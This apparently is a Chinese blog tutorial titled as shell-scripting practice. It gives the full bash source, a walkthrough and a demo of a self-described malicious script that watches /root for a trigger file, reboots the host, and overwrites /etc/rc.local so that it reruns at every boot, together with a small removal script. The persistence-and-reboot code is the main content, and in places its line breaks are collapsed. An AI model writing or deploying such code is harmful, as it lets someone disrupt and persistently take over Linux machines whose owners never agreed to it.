当前位置: 首页 > news >正文

[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-linux)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 1 需求
  • 2 linux 实现需求
    • 2.1 恶意程序 linux.sh 源码
      • 2.1.1 恶意程序 linux.sh 源码
      • 2.1.2 恶意程序 linux.sh 源码讲解
    • 2.2 清除程序 linux-kill.sh 源码
      • 2.2.1 清除程序 linux-kill.sh 源码
      • 2.2.2 清除程序 linux-kill.sh 源码讲解
    • 2.3 演示
      • 2.3.1 恶意程序linux.sh
      • 2.3.2 清除程序linux-kill.sh
      • 2.3.3 恶意文件a.txt
      • 2.3.4 操作步骤
        • 2.3.4.1 后台运行恶意程序
        • 2.3.4.2 特定文件移动到特定目录
        • 2.3.4.3 恶意程序监测到特定文件
        • 2.3.4.4 恶意程序监测到特定文件后重启操作执行成功
        • 2.3.4.5 清除程序 linux-kill.sh 清除恶意程序
        • 2.3.4.6 操作系统再次重启
        • 2.3.4.7 查看 rc.local
  • 相关资源

1 需求

需求:做一个恶意程序A
恶意程序A会监测某一个特定的目录B
当目录B下出现某个特定文件C的时候
恶意程序A就会执行某一个固定的恶意操作D

2 linux 实现需求

恶意程序 linux.sh 监测特定目录 /root 出现特定文件 a.txt 执行恶意操作 reboot

2.1 恶意程序 linux.sh 源码

2.1.1 恶意程序 linux.sh 源码

#!/bin/bash# 监控的目录
monitored_directory="/root"a=truewhile $a; do# 遍历目录中的文件for file in "$monitored_directory"/*; do# 检查文件是否为a.txtif [ "$(basename "$file")" = "a.txt" ]; thenecho "a.txt 文件已出现在目录中!"sleep 60secho "您的主机将在一分钟后重启!"            reboot a=falsecat > /etc/rc.local << '__EOF__'
#!/bin/bash
sh /root/linux.sh &
exit 0
__EOF__echo "illegal 命令注入成功!"            chmod +x /etc/rc.localsystemctl daemon-reloadsystemctl enable rc-localfidone# 可以添加一些延时,避免过于频繁的遍历sleep 1
done

2.1.2 恶意程序 linux.sh 源码讲解

这个脚本的主要功能是监控指定目录(/root)中的文件变化,当检测到名为 a.txt 的文件出现时,执行一系列操作。以下是对脚本的详细解释:
1.定义监控目录:monitored_directory="/root":设置要监控的目录为 /root。
2.初始化变量:a=true:初始化一个布尔变量 a 为 true,用于控制 while 循环。
3.进入无限循环:while $a; do:使用 while 循环不断检查目录中的文件。
4.遍历目录中的文件:for file in "$monitored_directory"/*; do:使用 for 循环遍历 /root 目录中的所有文件。
5.检查文件是否为 a.txt:if [ "$(basename "$file")" = "a.txt" ]; then:使用 if 语句检查当前文件名是否为 a.txt。
6.如果找到 a.txt 文件:
输出提示信息:echo "a.txt 文件已出现在目录中!"
等待 60 秒:sleep 60s
输出重启提示信息:echo "您的主机将在一分钟后重启!"
重启系统:reboot
修改变量 a 为 false,退出循环:a=false
创建或覆盖 /etc/rc.local 文件,并写入启动命令:
在这里插入图片描述
echo "illegal 命令注入成功!":修改 /etc/rc.local 文件权限为可执行: bash
chmod +x /etc/rc.local: 重新加载 systemd 守护进程配置: bash
systemctl daemon-reload:启用 rc-local 服务: bash
systemctl enable rc-local
7.添加延时避免频繁遍历:sleep 1:在每次循环结束后等待 1 秒,避免过于频繁地遍历目录。

2.2 清除程序 linux-kill.sh 源码

2.2.1 清除程序 linux-kill.sh 源码

#!/bin/bashsudo sed -i '/sh \/root\/linux.sh \&/d' /etc/rc.local
echo 成功删除/etc/rc.local中illegal命令file_path="/root/linux.sh"if [ -f "$file_path" ]; thenrm "$file_path"echo "成功删除文件 $file_path"
elseecho "文件 $file_path 不存在"
fi

2.2.2 清除程序 linux-kill.sh 源码讲解

#!/bin/bash

这行是Shebang(#!),它告诉操作系统使用哪个解释器来运行这个脚本。在这里,/bin/bash表示使用Bash解释器。

sudo sed -i '/sh \/root\/linux.sh \&/d' /etc/rc.local
echo 成功删除/etc/rc.local中illegal命令

这两行代码的作用是修改/etc/rc.local文件,删除其中包含特定字符串的命令。具体来说:
sudo sed -i '/sh \/root\/linux.sh \&/d' /etc/rc.local:使用sed命令编辑/etc/rc.local文件,删除所有匹配sh /root/linux.sh &的行。-i选项表示直接在文件中进行修改。
echo 成功删除/etc/rc.local中illegal命令:输出一条消息,表示已经成功删除了非法命令。
file_path="/root/linux.sh":定义一个变量file_path,其值为/root/linux.sh,即要检查和删除的文件路径。

if [ -f "$file_path" ]; thenrm "$file_path"echo "成功删除文件 $file_path"
elseecho "文件 $file_path 不存在"
fi

这段代码是一个条件判断语句,用于检查文件是否存在并执行相应的操作:
if [ -f "$file_path" ]; then:检查$file_path指定的文件是否存在且是一个普通文件。
rm "$file_path":如果文件存在,则删除该文件。
echo "成功删除文件 $file_path":输出一条消息,表示文件已成功删除。
else:如果文件不存在,则执行以下代码块。
echo "文件 $file_path 不存在":输出一条消息,表示文件不存在。

2.3 演示

2.3.1 恶意程序linux.sh

在这里插入图片描述

2.3.2 清除程序linux-kill.sh

目前恶意程序 linux.sh 放在 root 目录下,这个恶意程序是你放在哪个目录都行
在这里插入图片描述

2.3.3 恶意文件a.txt

目前恶意程序 linux-kill.sh 放在 root 目录下,这个清除程序是你放在哪个目录都行

在这里插入图片描述

2.3.4 操作步骤

2.3.4.1 后台运行恶意程序

& 表示后台运行,运行之后会一直监测特定的目录/root

sh /root/linux.sh &

在这里插入图片描述

2.3.4.2 特定文件移动到特定目录

模拟特定目录出现特定文件,将我提前准备好的 a.txt 复制到特定目录 /root

cp /root/Desktop/a.txt /root/a.txt

在这里插入图片描述

2.3.4.3 恶意程序监测到特定文件

我们之前在后台执行得恶意程序监测到文件,回显 a.txt文件已出现在目录中!

在这里插入图片描述

2.3.4.4 恶意程序监测到特定文件后重启操作执行成功

等了一分钟之后,系统成功重启,说明恶意程序监测到特定文件后重启操作执行成功

在这里插入图片描述

2.3.4.5 清除程序 linux-kill.sh 清除恶意程序

回显内容如下:
成功删除/etc/rc.local中非法命令
成功删除文件/root/linux.sh

./linux-kill.sh

在这里插入图片描述

2.3.4.6 操作系统再次重启

因为写入了自启动文件只要启动他就会去执行那个程序,然后他程序里面的恶意操作,就是一分钟后关机。
然后我们清除的一个动作是在他执行程序执行那个恶意程序之后,我们才执行的清除操作,所以说他还会再有一次重启的操作。

在这里插入图片描述

2.3.4.7 查看 rc.local

再次查看rc.local,发现rc.local里面的恶意命令已经被删除
注意:如果查看的时候发现还是存在,可以再次执行 linux-kill.sh 文件进行删除
如果在第一次执行 linux-kill.sh 的时候比操作系统启动项执行得更快就需要再次执行 linux-kill.sh 删除

在这里插入图片描述

相关资源

shell脚本入门到精通
[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-linux)
[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-windows)


http://www.mrgr.cn/news/65044.html

相关文章:

  • CentOS Linux教程(12)--常用编辑器
  • GitHub | 发布到GitHub仓库并联文件夹的方式
  • 第一章·计算机网络体系结构
  • 爬虫学习4
  • JAVA 插入 JSON 对象到 PostgreSQL
  • 开源 AI 智能名片 2 + 1 链动模式 S2B2C 商城小程序中积分使用价值的拓展策略
  • word mathml 创建粗体字母快捷键
  • Mybatis基于注解的关系查询
  • 基于Docker搭建Maven私服仓库
  • java集合的fail-fast机制
  • 网络层4——网络控制协议ICMP
  • TEST2TEST2
  • DNS域名解析实验
  • 【踩坑】修复高版本dgl中distributed.load_partition不返回orig_id问题
  • 西门子五大系列PLC,该怎么选?
  • Java项目实战II基于Spring Boot的智能家居系统(开发文档+数据库+源码)
  • Transformer 架构简单理解;GPT-3.5 的架构,向量长度为 :12288;Transformer架构改进:BERT和GPT
  • 【数据结构】二叉树——判断是否为完全二叉树
  • 【AD】2-1 元件符号的绘制创建实例-电阻容/CHIP类器件
  • 网络层3——IP数据报转发的过程
  • 70B的模型需要多少张A10的卡可以部署成功,如果使用vLLM
  • 正向解析和反向解析
  • 【Vue框架】用 Vue 的时候应该选 JS 还是 TS?全面解析与实用建议
  • 【文献及模型、制图分享】中国城市家庭食物浪费行为及减量对策——以郑州市为例
  • LeetCode 876. 链表的中间结点
  • 中断处理和DMA(Direct Memory Access,直接内存访问)